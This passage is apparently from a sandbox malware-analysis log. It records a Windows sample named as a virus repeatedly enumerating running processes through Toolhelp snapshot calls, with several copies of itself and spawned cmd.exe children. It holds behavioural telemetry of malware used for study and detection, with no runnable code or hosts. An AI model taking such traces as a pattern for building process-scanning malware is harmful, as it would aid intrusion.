lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.632] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.633] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.633] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.633] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0194.634] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.634] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.635] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.636] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.636] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.636] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.637] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.637] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.638] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0194.638] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.639] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.639] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.640] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.640] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.640] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.641] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.641] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0194.642] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.642] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.643] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0194.643] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.644] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.644] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.644] Process32NextW (in: hSnapshot=0xe0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0 [0194.645] CloseHandle (hObject=0xe0) returned 1 [0194.645] Sleep (dwMilliseconds=0x1f4) [0195.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0195.717] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.717] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.717] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.718] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.718] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.718] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.719] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.719] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.719] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.720] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0195.720] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.720] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.721] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.721] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.722] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.722] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0195.722] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.723] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.723] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0195.723] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0195.724] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0195.724] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0195.725] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0195.725] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.726] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0195.726] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0195.727] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0195.727] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0195.727] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0195.728] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0195.728] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0195.728] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0195.729] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0195.730] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0195.730] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0195.730] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0195.731] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0195.731] CloseHandle (hObject=0x17c) returned 1 [0195.731] Sleep (dwMilliseconds=0x1f4) [0196.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0196.462] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.462] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0196.462] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0196.463] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.463] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0196.463] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.464] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0196.464] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0196.464] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0196.465] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0196.465] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.465] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.466] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.466] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.466] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.467] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, 